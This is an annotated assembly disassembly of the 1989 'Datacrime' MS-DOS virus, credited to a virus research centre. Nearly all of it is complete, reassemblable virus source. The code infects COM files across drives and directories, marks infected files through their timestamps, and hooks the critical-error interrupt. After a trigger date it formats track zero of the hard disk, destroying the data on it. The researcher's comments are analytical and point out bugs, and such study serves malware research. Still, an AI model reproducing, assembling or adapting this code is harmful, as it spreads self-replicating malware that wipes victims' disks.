MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.datacrim.asm
2021-01-12 17:38:47 -06:00

538 lines
26 KiB
NASM

;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'Datacrime' Virus :
; : Disassembled by Joe Hirst, May 1989 :
; : :
; : Copyright (c) Joe Hirst 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
; Addressability is maintained by taking the offset from the
; initial jump to the virus. This is the length of the host minus
; three (length of the jump instruction). Three is subtracted
; from this figure (presumably the length of the original "host"
; program when the virus was released). The result is kept in
; register SI. Data addresses add SI+106H (COM origin of 100H
; + length of jump + length of initial host) to the offset of the
; data item within the virus.
; Note that if it does nothing else this virus will almost certainly
; screw up the critical error handler because:
; 1. There is a missing segment override on the restore of the
; original segment (presumably the result of inserting such
; overrides manually), and
; 2. If the virus looks at more than one disk it will reinstall
; the routine, overwriting the original saved vector with that
; of its own routine.
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
ORG 09AH
DW009A DW ?
ORG 101H
DW0101 DW ?
; Start of virus - Set up relocation factor
ORG 0
START: MOV SI,CS:DW0101 ; Address initial jump to virus
SUB SI,3 ; Length of original host (?)
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JNE BP0012 ; Branch if not
JMP BP0110 ; Infection routine
; Restore host and test initial start month
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
MOV BX,0100H ; Address beginning of host program
MOV CX,5 ; Word count
BP001C: MOV AX,[DI] ; Get next word
MOV [BX],AX ; Replace next word
ADD BX,2 ; Address next target word
ADD DI,2 ; Address next stored word
DEC CX ; Reduce count
JNZ BP001C ; Repeat for each word
MOV AH,2AH ; Get date function
INT 21H ; DOS service
MOV AL,CS:DB03EA[SI+106H] ; Get start month
CMP AL,DH ; Is it start month yet?
JG BP0040 ; Branch if not
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
JMP BP0045
; Pass control to host program
BP0040: MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Are we in target part of year?
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
CMP AX,DX ; Compare to actual
JL BP0051 ; Branch if after start date
JMP BP0110 ; Infection routine
; Is there a hard disk?
BP0051: MOV AX,0 ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0106H ; Address Int 41H segment
MOV AX,[BX] ; Get Int 41H segment
POP DS
CMP AX,0 ; Is it zero (no hard disk)?
JNE BP0067 ; Branch if not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Display message and format track zero, heads 0 - 8
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
MOV CL,29H ; Load length of string
BP006D: MOV DL,CS:[BX] ; Get a character
XOR DL,55H ; Decrypt character
MOV AH,2 ; Display character function
INT 21H ; DOS service
INC BX ; Address next character
DEC CL ; Reduce count
JNZ BP006D ; Repeat for each character
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
MOV CH,0 ; Track zero
MOV DX,0080H ; Head zero, first hard disk
BP0084: MOV CH,0 ; Track zero
MOV AL,0 ; Load zero
MOV CL,6 ; \ Multiply zero by 64
SHL AL,CL ; /
MOV CL,AL ; Move result (zero)
OR CL,1 ; Now its one (and next line zero)
MOV AX,0500H ; Format track, interleave zero
INT 13H ; Disk I/O
JB BP009F ; Branch if error
INC DH ; Next head
CMP DH,9 ; Is it head nine?
JNE BP0084 ; Format if not
BP009F: MOV AH,2 ; Display character function
MOV DL,7 ; Beep
INT 21H ; DOS service
JMP BP009F ; Loop on beep
; Format table (required for ATs and PS/2s)
; Program does not in fact point to this because the reference
; to register SI is missing
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
; The next field decodes to:
; DB 'DATACRIME VIRUS', 0AH, 0DH
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
; Start of infection routine
BP0110: MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV CS:DB03F5[SI+106H],AL ; Save current disk
MOV AH,47H ; Get current directory function
MOV DX,0 ; Default disk
PUSH SI
LEA SI,DB03F6+1[SI+106H] ; Original directory store
INT 21H ; DOS service
POP SI
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
JMP BP0130 ; Select disk drive
; Select disk drive from table
BP0130: CALL BP0172 ; Install Int 24H routine
LEA BX,DB03E3[SI+106H] ; Address disk drive table
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
MOV AH,0 ; Clear top of register
ADD BX,AX ; Add disk drive pointer
MOV AL,CS:[BX] ; Get next disk drive
MOV DL,AL ; Move device for select
CMP AL,0FFH ; End of table?
JNE BP0151 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP0151: MOV AH,0EH ; Select disk function
INT 21H ; DOS service
MOV AH,47H ; Get current directory function
MOV DL,0 ; Default drive
PUSH SI
LEA SI,DB0417+1[SI+106H] ; Current directory path name
INT 21H ; DOS service
POP SI
MOV BX,4 ; Address critical error
MOV AL,CS:[BX] ; Get critical error code
CMP AL,3 ; Was it three?
JNE BP01B7 ; Branch if not
MOV AL,0 ; \ Set it back to zero
MOV CS:[BX],AL ; /
JMP BP0130 ; Select next disk drive
; Install interrupt 24H routine
BP0172: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,[BX+2] ; Get Int 24H segment
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
MOV AX,[BX] ; Get Int 24H offset
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
MOV AX,CS ; Get current segment
MOV [BX+2],AX ; Set new Int 24H segment
LEA AX,BP01AE[SI+106H] ; Int 24H routine
MOV [BX],AX ; Set new Int 24H offset
POP DS
RET
; Restore original interrupt 24H
BP0196: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
MOV [BX+2],AX ; Restore Int 24H segment
MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
MOV [BX],AX ; Restore Int 24H offset
POP DS
RET
; Interrupt 24H routine
BP01AE: MOV AL,3 ; Fail the system call
MOV BX,4 ; Address critical error byte
MOV CS:[BX],AL ; Save code
IRET
BP01B7: CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JNE BP01C6 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP01C6: CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
JMP BP0130 ; Select next disk drive
BP01CE: MOV CX,0040H ; Maximum characters to copy
PUSH SI
DEC DI ; \
DEC DI ; ) Address back to '*.*'
DEC DI ; /
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
MOV SI,BX ; Address file name
CLD
BP01DC: LODSB ; \ Copy a character
STOSB ; /
DEC CX ; Decrement count
CMP AL,0 ; Was last character zero?
JNE BP01DC ; Next character if not
POP SI
MOV AH,3BH ; Change current directory function
LEA DX,DB0438[SI+106H] ; Directory pathname
INT 21H ; DOS service
CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JE BP023C ; Tidy up and terminate if yes
CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
INC CS:DB03E2[SI+106H] ; Increment directory count
CALL BP0260 ; Get next directory
JB BP023C ; Branch if not found
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
BP0214: CMP AL,0 ; Is directory count zero yet?
JNE BP021D ; Branch if not
ADD BX,9 ; ???
JMP BP01CE ; ??? Add directory name to path
BP021D: MOV AH,4FH ; Find next file function
PUSH AX
INT 21H ; DOS service
POP AX
JNB BP0228 ; Branch if no error
JMP BP0130 ; Select next disk drive
BP0228: PUSH AX
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attributes byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
POP AX
JNE BP021D ; Branch if not
DEC AL ; Decrement directory count
JMP BP0214
; Reset disk and directory, and pass control to host
BP023C: MOV AH,0EH ; Select disk function
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
INT 21H ; DOS service
MOV AH,3BH ; Change current directory function
LEA DX,DB03F6[SI+106H] ; Original directory
INT 21H ; DOS service
CALL BP0196 ; Restore Int 24H
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JE BP025C ; Terminate 8f not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Terminate
BP025C: MOV AH,4CH ; End process function
INT 21H ; DOS service
; Get next directory
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,003AH ; Length to clear
MOV AL,0 ; Set to zero
CLD
REPZ STOSB ; Clear pathname area
MOV AH,47H ; Get current directory function
PUSH SI
MOV DX,0 ; Current drive
LEA SI,DB0438+1[SI+106H] ; Directory pathname
INT 21H ; DOS service
POP SI
CLD
LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,0040H ; Length to search
MOV AL,0 ; Search for zero
REPNZ SCASB ; Search for end of pathname
JZ BP0289 ; Branch if found
STC
RET
; Set file name wildcard on path
BP0289: DEC DI ; \ Back two positions
DEC DI ; /
MOV AL,[DI] ; Get character
CMP AL,'\' ; Does path end in dir delim?
JE BP0294 ; Branch if yes
INC DI ; Next position
MOV AL,'\' ; Make next character a dir delim
BP0294: MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; All files
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'.' ; Extension
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; all extensions
MOV [DI],AL ; Store character
INC DI ; Next position
LEA DX,DB0438[SI+106H] ; Address directory pathname
MOV AH,4EH ; Find first file function
MOV CX,0010H ; Find directories
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
RET
; Valid directories only
BP02B4: MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attribute byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
JNE BP02D2 ; Branch if not
CLC
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,1EH ; Address directory name
MOV AL,'.' ; Prepare to test first byte
CMP CS:[BX],AL ; Is it a pointer to another dir?
JE BP02D2 ; Branch if yes
RET
BP02D2: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
STC
RET
; Find and infect a file
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
MOV AH,4EH ; Find first file function
MOV CX,7 ; All files
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
BP02EF: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
; Exclude COMMAND.COM
BP02F6: MOV BX,00A4H ; Address seventh letter of name
MOV AL,[BX] ; Get character
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
JNE BP0301 ; Branch if not
JMP BP02EF ; Next file
; Is it already infected?
BP0301: MOV BX,0096H ; Address time of file
MOV CX,[BX] ; Get time of file
ADD BX,2 ; Address date of file
MOV DX,[BX] ; Get date of file
MOV AL,CL ; Copy low byte of time
AND AL,0E0H ; Isolate low part of minutes
MOV AH,AL ; Copy low part of minutes
SHR AL,1 ; \
SHR AL,1 ; \
SHR AL,1 ; ) Move mins to secs position
SHR AL,1 ; /
SHR AL,1 ; /
OR AL,AH ; Combine with minutes
CMP AL,CL ; Compare to actual time
JNE BP0323 ; Branch if different
JMP BP02EF ; Find next file
; Uninfected COM file found
BP0323: PUSH CX
PUSH DX
MOV AX,CS:DW009A ; Get low-order length
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
CALL BP03AA ; Remove read-only attribute
MOV AX,3D02H ; Open handle (R/W) function
MOV DX,009EH ; File name
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,3FH ; Read handle function
LEA DX,DB03D5[SI+106H] ; Store area for start of host
MOV CX,000AH ; Read first ten bytes
INT 21H ; DOS service
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV CX,OFFSET ENDADR ; Length of virus
NOP
LEA DX,[SI+106H] ; Address start of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV AX,CS:DW009A ; Get low-order length
SUB AX,3 ; Subtract length of jump
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
MOV AH,40H ; Write handle function
MOV CX,3 ; Length of jump
LEA DX,DB03DF[SI+106H] ; Address jump instruction
INT 21H ; DOS service
POP DX
POP CX
AND CL,0E0H ; Isolate low part of minutes
MOV AL,CL ; Copy low part of minutes
SHR CL,1 ; \
SHR CL,1 ; \
SHR CL,1 ; ) Move mins to secs position
SHR CL,1 ; /
SHR CL,1 ; /
OR CL,AL ; Combine with minutes
MOV AX,5701H ; Set file date & time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CALL BP03C1 ; Replace attributes
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
RET
; Remove read-only attribute
BP03AA: MOV DX,009EH ; Address file name
MOV AX,4300H ; Get file attributes function
INT 21H ; DOS service
MOV CS:DW03F3[SI+106H],CX ; Save attributes
AND CX,00FEH ; Set off read-only
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
; Replace attributes
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
MOV DX,009EH ; Address file name
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
DW03CF DW 1142H ; Original Int 24H segment
DW03D1 DW 175DH ; Original Int 24H offset
DW03D3 DW 0039H ; Low-order length of host
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
DB03DF DB 0E9H ; \ Jump for host program
DW03E0 DW 0 ; /
DB03E2 DB 0BH
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
DW03E8 DW 0A0CH ; Start month and day
DB03EA DB 0 ; Start month
DB03EB DB 0 ; Infection completed switch
DB03EC DB 3 ; Disk drive pointer
DB03ED DB '*.COM', 0
DW03F3 DW 20H ; File attributes
DB03F5 DB 0 ; Original current disk
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
ENDADR EQU $
CODE ENDS
END START